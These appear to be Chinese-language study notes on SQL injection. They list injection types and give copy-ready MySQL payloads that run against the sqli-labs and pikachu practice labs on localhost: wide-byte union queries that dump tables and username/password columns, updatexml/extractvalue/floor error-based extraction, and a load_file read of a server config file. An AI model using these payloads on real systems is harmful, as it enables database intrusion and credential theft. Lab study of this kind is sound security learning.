1.union select注入

2.报错函数注入法

3.盲注（布尔盲注/时间盲注）

4.堆叠查询注入

GET型注入

POST型注入（可以借助burpsuite）（更多的是针对账号和密码这种表单的形式）

1.数字型输入

2.字符型注入

    （XX型注入 即("")  ('')）

3.搜索型注入（like型）

4.报错函数注入

    适用：delete,insert/update

    函数：updatexml/extractvalue/floor

5.DNSlog注入

6.http Header头注入

    User-Agent注入

    Referer注入

    Cookie注入

7.盲注

    布尔盲注 base on boolian

    时间盲注 base on time

8.宽字节注入

9.堆叠查询注入

10.二次注入（密码重置越权）

11.base64注入

12.XFF注入

13.SQL注入绕过WAF

14.into outfile注入

1.waf注释符过滤

2.密码重置越权（越权漏洞）

3.waf屏蔽空格

4.union select屏蔽

127.0.0.1/sqli-labs/Less-32/?id=-1%df' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
127.0.0.1/sqli-labs/Less-32/?id=-1%df' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=`security` --+   //失败
127.0.0.1/sqli-labs/Less-32/?id=-1%df' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=0x7365637572697479 --+
127.0.0.1/sqli-labs/Less-32/?id=-1%df' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name=0x7573657273 --+
127.0.0.1/sqli-labs/Less-32/?id=-1%df' union select 1,group_concat(username),group_concat(password) from users --+

#mysql版本   version()
#数据库用户名   user()
#数据库名   database()
#系统用户名   system_user()
#当前用户名   current_user
#当前链接数据库的用户名  session_user()
#查询数据表  group_concat(table_name) from information_schema.tables where table_schema=database()
#查询数据列  group_concat(column_name) from information_schema.columns where table_name='users'
#查询数据列  username from pikachu.users
#查询字段   column_name from information_schema.columns where table_name=0x6164d698 limit 0,1
#查询数据库（一个一个查）SCHEMA_NAME from information_schema.SCHEMATA limit 2,1
#查询数据库（全部查出来）group_concat(SCHEMA_NAME) from information_schema.SCHEMATA
#查询所有的表 group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database()
#查询数据   group_concat(username,0x3a,password) from admin
#注入出数据库所有的内容  group_concat(id,0x3a,username,0x3a,password) from security.users 

1.updatexml（）函数 Mysql中对XML文档数据进行查询和修改的XPATH函数。（参数1和3不同则报错，从而执行第二个参数的信息）
and updatexml(1,concat(0x7e,version()),0)   #查询数据库版本  可以更改concat中间的内容进行查询
and updatexml(1,concat(0x7e,database()),0)  #0x7e为了避免报错信息不被吃掉，显示出完整的信息。
and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1),0)      #concat可以有两个参数，一个0x7e一个要查询的数据，也可以是三个参数，最后一个是0，可以让数据更容易判断#如果用limit来限制行的话可以在concat中第二个参数后面加上去就可以了。2.extractvalue（）函数 Mysql中对XML文档数据进行查询的函数
and extractvalue(0,concat(0x7e,database()))
and extractvalue(1,concat(0x7e,(select load_file ("C:\\inetpub\\wwwroot\config.inc.php")),0x7e))  #读取文件3.floor（）函数    Mysql中用来取整的函数。（后期深入学习）
kobe' and (select 2 from (select count(*),concat version(),floor(rand(0)*2) x
from information_schema.tables group by x )a)#利用的逻辑差不多